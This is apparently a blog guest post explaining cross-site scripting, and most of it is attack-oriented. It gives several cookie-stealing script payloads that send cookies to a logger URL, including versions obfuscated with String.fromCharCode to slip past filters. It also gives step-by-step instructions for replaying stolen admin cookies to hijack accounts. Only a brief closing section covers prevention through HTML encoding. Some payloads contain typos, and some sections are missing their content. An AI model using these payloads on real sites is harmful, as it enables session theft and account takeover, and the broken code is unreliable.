Cross Site Scripting (XSS) Explained
Of course these tests aren’t the bests of ideas, owners of sites tend to notice pretty quickly when a message box pops up when it’s not supposed to be. Another method would be “document.write”
Assuming that there is an XSS exploit found, there are also many ways that an attacker may use this exploit to attack the site.
Cookie Stealing – Steal another user’s cookie in order to gain access to their account (including an admin cookie).
Keylogging – Often overlooked in this exploit, it allows the attacker to log all the keystrokes made by a user on the page where the XSS is (Login pages, private message pages, etc).
XSS Worms – Just like any worm, it is a malicious script that spreads across the site from the vulnerable point.
Portal Forwarding – This script opens an iframe to execute an exploit or opens a malicious download on a legit website.
Cross-Site Request Forgery – Used to make a user of the site send a request to the server without actually doing it/knowing it.
Example of how a cookie logger might be used on a vulnerable site:
<script>location.href'http://site.log.php?cookie='+cookie</script> <script>doument.location='http://site.log.php?cookie='+cookie</script> <script>window.open('http://site.log.php?cookie='+cookie)</script> <script>window.location='http://site.log.php?cookie='+cookie</script>
Then the administrator will log on and the cookie will be logged once he accesses the vulenerable page. Then that cookie can be edited and added to log in as that user of which the cookie was stolen from. The firefox cookie editor addon allows the user to add the data and content for all of the cookies collected via the cookie logger, then the attacker can browse the site to check if he/she is logged in.
1. Open FireFox.
2. Click on Tools in the menu bar.
3. Click on Cookie Editor.
4. Click on Add.
5. In name, add the name of that cookie, (the part before the =)
6. In content, add the value.
7. In host, add .site.com, unless its a sub domain or otherwise stated, (the dot in front of the domain name is important).
8. In path, write /, unless you have the exact path where you want the cookie to be active.
Repeat the process until every cookie has been added.
Of course, with every exploitation there’s always a way to prevent it…and then another way to bypass that. Web Administrators have different ways in protecting their sites, though.
1) Tag Removal
Output (removed tags and echo what’s left):
2) Magic_Quotes (Hah, I’m watching Magician Secrets Revealed while typing this)
String.FromCharCode() <script>alert(String.fromCharCode(88, 83, 83))</script>
When using integral values, you don’t need the quotes.
Now what if the target site has both filters? Well, then the attacker would have to use both bypass methods, combined.
<scr<script>ipt>location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114, 105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</scr</script>ipt>
<script>location.href=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 100, 117, 115, 101, 99, 117, 114,105, 116, 121, 46, 99, 111, 109, 47, 108, 111, 103, 103, 101, 114, 46, 112, 104, 112)+document.cookie;</script>
Some index pages don’t allow you to input a large number of characters, so you’d have to use shorter scripts:
1) Foreign Scripts
2) <img src=> tag
3) If the attacker’s website name is waaay too long, he/she may use its IP address instead.
Although, there are many ways to prevent XSS exploitation, the most preferred way would be HTML encoding. In PHP for example, you simply pass your string through the htmlentities() function, and it will convert your string to the HTML coded values. In Perl you would use this method of encoding:
$a = "pie" use HTML::Entities (); $encoded = HTML::Entities::encode($a);
Everything Posted here is for Educational Purposes Only.
This is a guest post by Nadeem S. aka Kr0w, thanx !